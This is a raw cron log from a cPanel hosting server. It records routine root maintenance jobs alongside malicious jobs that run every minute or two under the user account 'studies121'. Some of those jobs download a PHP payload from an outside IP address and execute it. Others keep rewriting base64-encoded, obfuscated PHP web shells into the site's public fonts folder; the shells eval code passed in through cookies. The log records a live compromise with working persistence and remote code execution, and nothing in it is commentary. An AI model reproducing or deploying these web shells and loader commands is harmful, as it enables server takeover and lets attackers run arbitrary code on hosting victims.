Sep 21 20:36:01 ip-184-168-122-23 CROND[12849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:36:01 ip-184-168-122-23 CROND[12851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:36:01 ip-184-168-122-23 CROND[12854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:36:01 ip-184-168-122-23 CROND[12852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:36:01 ip-184-168-122-23 CROND[12853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:37:01 ip-184-168-122-23 CROND[12955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:37:01 ip-184-168-122-23 CROND[12957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:37:01 ip-184-168-122-23 CROND[12959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:37:01 ip-184-168-122-23 CROND[12958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:38:01 ip-184-168-122-23 CROND[13071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:38:01 ip-184-168-122-23 CROND[13072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:38:01 ip-184-168-122-23 CROND[13073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:38:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:38:01 ip-184-168-122-23 CROND[13075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:39:01 ip-184-168-122-23 CROND[13182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:39:01 ip-184-168-122-23 CROND[13184]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 20:39:01 ip-184-168-122-23 CROND[13186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:39:01 ip-184-168-122-23 CROND[13185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:39:01 ip-184-168-122-23 CROND[13187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:40:01 ip-184-168-122-23 CROND[13321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 20:40:01 ip-184-168-122-23 CROND[13323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:40:01 ip-184-168-122-23 CROND[13329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:40:01 ip-184-168-122-23 CROND[13327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:40:01 ip-184-168-122-23 CROND[13326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:40:01 ip-184-168-122-23 CROND[13328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:40:01 ip-184-168-122-23 CROND[13332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:40:01 ip-184-168-122-23 CROND[13330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:41:01 ip-184-168-122-23 CROND[13526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:41:01 ip-184-168-122-23 CROND[13528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:41:01 ip-184-168-122-23 CROND[13529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:41:01 ip-184-168-122-23 CROND[13532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:42:01 ip-184-168-122-23 CROND[13693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:42:01 ip-184-168-122-23 CROND[13695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:42:01 ip-184-168-122-23 CROND[13696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:42:01 ip-184-168-122-23 CROND[13698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:42:01 ip-184-168-122-23 CROND[13697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:43:01 ip-184-168-122-23 CROND[13792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:43:01 ip-184-168-122-23 CROND[13793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:43:01 ip-184-168-122-23 CROND[13795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:43:01 ip-184-168-122-23 CROND[13794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:44:01 ip-184-168-122-23 CROND[13932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:44:01 ip-184-168-122-23 CROND[13936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:44:01 ip-184-168-122-23 CROND[13934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:44:01 ip-184-168-122-23 CROND[13935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:44:01 ip-184-168-122-23 CROND[13937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:45:01 ip-184-168-122-23 CROND[14039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:45:01 ip-184-168-122-23 CROND[14041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:45:01 ip-184-168-122-23 CROND[14042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:45:01 ip-184-168-122-23 CROND[14044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:45:01 ip-184-168-122-23 CROND[14046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:45:01 ip-184-168-122-23 CROND[14045]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 21 20:45:01 ip-184-168-122-23 CROND[14048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:46:02 ip-184-168-122-23 CROND[14164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:46:02 ip-184-168-122-23 CROND[14166]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 20:46:02 ip-184-168-122-23 CROND[14167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:46:02 ip-184-168-122-23 CROND[14169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:46:02 ip-184-168-122-23 CROND[14171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:46:02 ip-184-168-122-23 CROND[14168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:46:02 ip-184-168-122-23 CROND[14170]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 20:47:01 ip-184-168-122-23 CROND[14389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:47:01 ip-184-168-122-23 CROND[14391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:47:01 ip-184-168-122-23 CROND[14390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:47:01 ip-184-168-122-23 CROND[14393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:48:01 ip-184-168-122-23 CROND[14534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:48:01 ip-184-168-122-23 CROND[14536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
